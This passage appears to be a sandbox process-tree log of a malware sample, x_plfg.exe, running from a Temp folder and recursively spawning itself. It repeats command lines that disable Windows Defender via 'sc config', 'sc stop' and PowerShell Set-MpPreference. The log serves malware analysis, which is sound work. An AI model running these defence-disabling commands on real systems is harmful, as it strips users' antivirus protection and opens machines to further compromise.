        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        162⤵
        
        PID:31684
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        163⤵
        
        PID:35412
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        160⤵
        
        PID:30800
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        161⤵
        
        PID:33616
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        158⤵
        
        PID:30392
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        159⤵
        
        PID:34112
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        156⤵
        
        PID:30084
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        157⤵
        
        PID:32764
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        154⤵
        
        PID:29492
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        155⤵
        
        PID:33532
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        152⤵
        
        PID:28836
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        153⤵
        
        PID:30916
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        150⤵
        
        PID:28412
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        151⤵
        
        PID:30888
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        148⤵
        
        PID:28144
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        149⤵
        
        PID:30724
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        146⤵
        
        PID:27768
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        147⤵
        
        PID:31560
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        144⤵
        
        PID:27376
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        145⤵
        
        PID:29796
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        142⤵
        
        PID:26900
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        143⤵
        
        PID:29600
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        140⤵
        
        PID:26316
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        141⤵
        
        PID:28628
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        138⤵
        
        PID:25912
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        139⤵
        
        PID:29480
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        136⤵
        
        PID:25400
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        137⤵
        
        PID:28536
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        134⤵
        
        PID:25448
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        135⤵
        
        PID:28488
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        132⤵
        
        PID:24668
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        133⤵
        
        PID:28936
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        130⤵
        
        PID:24544
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        131⤵
        
        PID:27484
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        128⤵
        
        PID:24348
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        129⤵
        
        PID:27504
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        126⤵
        
        PID:23072
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        127⤵
        
        PID:26168
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        128⤵
        
        PID:42504
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        124⤵
        
        PID:23040
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        125⤵
        
        PID:26152
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        126⤵
        
        PID:40816
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        122⤵
        
        PID:23008
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        123⤵
        
        PID:26104
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        124⤵
        
        PID:40672
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        120⤵
        
        PID:22864
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        121⤵
        
        PID:25904
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        122⤵
        
        PID:40664
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        118⤵
        
        PID:22768
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        119⤵
        
        PID:27572
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        116⤵
        
        PID:2644
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        117⤵
        
        PID:25420
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        118⤵
        
        PID:34636
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        119⤵
        
        PID:39356
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        114⤵
        
        PID:21768
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        115⤵
        
        PID:24732
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        116⤵
        
        PID:34900
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        117⤵
        
        PID:37308
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        112⤵
        
        PID:21372
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        113⤵
        
        PID:24516
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        114⤵
        
        PID:32332
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        115⤵
        
        PID:35316
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        110⤵
        
        PID:21472
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        111⤵
        
        PID:26116
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        112⤵
        
        PID:40652
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        108⤵
        
        PID:21044
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        109⤵
        
        PID:23616
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        110⤵
        
        PID:32176
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        111⤵
        
        PID:34216
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        106⤵
        
        PID:20840
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        107⤵
        
        PID:23504
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        108⤵
        
        PID:30312
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        109⤵
        
        PID:33032
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        106⤵
        
        PID:42756
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        104⤵
        
        PID:20700
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        105⤵
        
        PID:23344
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        106⤵
        
        PID:29704
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        107⤵
        
        PID:33448
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        104⤵
        
        PID:42620
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        102⤵
        
        PID:20676
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        103⤵
        
        PID:25232
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        104⤵
        
        PID:36392
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        105⤵
        
        PID:38652
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        102⤵
        
        PID:42608
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        100⤵
        
        PID:19708
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        101⤵
        
        PID:22872
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        102⤵
        
        PID:29168
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        103⤵
        
        PID:31848
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        100⤵
        
        PID:41532
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        98⤵
        
        PID:20316
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        99⤵
        
        PID:22608
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        100⤵
        
        PID:28808
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        101⤵
        
        PID:31112
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        98⤵
        
        PID:41644
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        96⤵
        
        PID:20240
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        97⤵
        
        PID:1644
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        98⤵
        
        PID:28304
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        99⤵
        
        PID:23372
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        96⤵
        
        PID:41460
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        94⤵
        
        PID:20156
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        95⤵
        
        PID:21908
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        96⤵
        
        PID:28288
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        97⤵
        
        PID:32124
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        94⤵
        
        PID:41452
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        92⤵
        
        PID:19960
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        93⤵
        
        PID:22260
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        94⤵
        
        PID:26816
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        95⤵
        
        PID:31060
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        92⤵
        
        PID:41128
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        90⤵
        
        PID:19924
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        91⤵
        
        PID:24068
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        92⤵
        
        PID:32492
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        93⤵
        
        PID:34788
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        90⤵
        
        PID:41444
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        88⤵
        
        PID:19804
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        89⤵
        
        PID:21512
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        90⤵
        
        PID:23440
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        91⤵
        
        PID:28008
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        88⤵
        
        PID:40996
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        86⤵
        
        PID:19648
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        87⤵
        
        PID:21852
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        88⤵
        
        PID:25492
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        89⤵
        
        PID:29536
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        86⤵
        
        PID:40092
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        84⤵
        
        PID:19536
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        85⤵
        
        PID:21724
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        86⤵
        
        PID:23884
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        87⤵
        
        PID:26720
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        84⤵
        
        PID:40688
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        85⤵
        
        PID:42868
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        82⤵
        
        PID:19440
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        83⤵
        
        PID:23152
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        84⤵
        
        PID:28912
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        85⤵
        
        PID:31328
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        82⤵
        
        PID:40488
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        80⤵
        
        PID:19244
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        81⤵
        
        PID:21840
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        82⤵
        
        PID:23784
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        83⤵
        
        PID:27040
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        80⤵
        
        PID:40472
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        78⤵
        
        PID:19228
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        79⤵
        
        PID:23056
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        80⤵
        
        PID:29692
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        81⤵
        
        PID:33456
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        78⤵
        
        PID:40464
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        76⤵
        
        PID:19016
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        77⤵
        
        PID:21236
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        78⤵
        
        PID:23284
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        79⤵
        
        PID:26144
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        80⤵
        
        PID:40792
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        76⤵
        
        PID:40496
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        74⤵
        
        PID:18828
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        75⤵
        
        PID:21560
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        76⤵
        
        PID:27916
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        77⤵
        
        PID:30260
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        74⤵
        
        PID:40408
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        72⤵
        
        PID:18688
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        73⤵
        
        PID:22200
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        74⤵
        
        PID:26028
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        75⤵
        
        PID:28740
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        72⤵
        
        PID:39980
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        73⤵
        
        PID:42636
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        70⤵
        
        PID:18500
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        71⤵
        
        PID:21068
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        72⤵
        
        PID:22420
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        73⤵
        
        PID:25524
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        74⤵
        
        PID:38500
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        75⤵
        
        PID:41344
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        70⤵
        
        PID:39972
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        68⤵
        
        PID:18044
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        69⤵
        
        PID:20064
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        70⤵
        
        PID:21684
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        71⤵
        
        PID:24636
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        72⤵
        
        PID:34876
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        73⤵
        
        PID:37264
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        68⤵
        
        PID:39768
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        66⤵
        
        PID:18400
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        67⤵
        
        PID:21628
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        68⤵
        
        PID:23856
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        69⤵
        
        PID:26652
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        66⤵
        
        PID:39512
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        67⤵
        
        PID:42832
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        64⤵
        
        PID:18268
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        65⤵
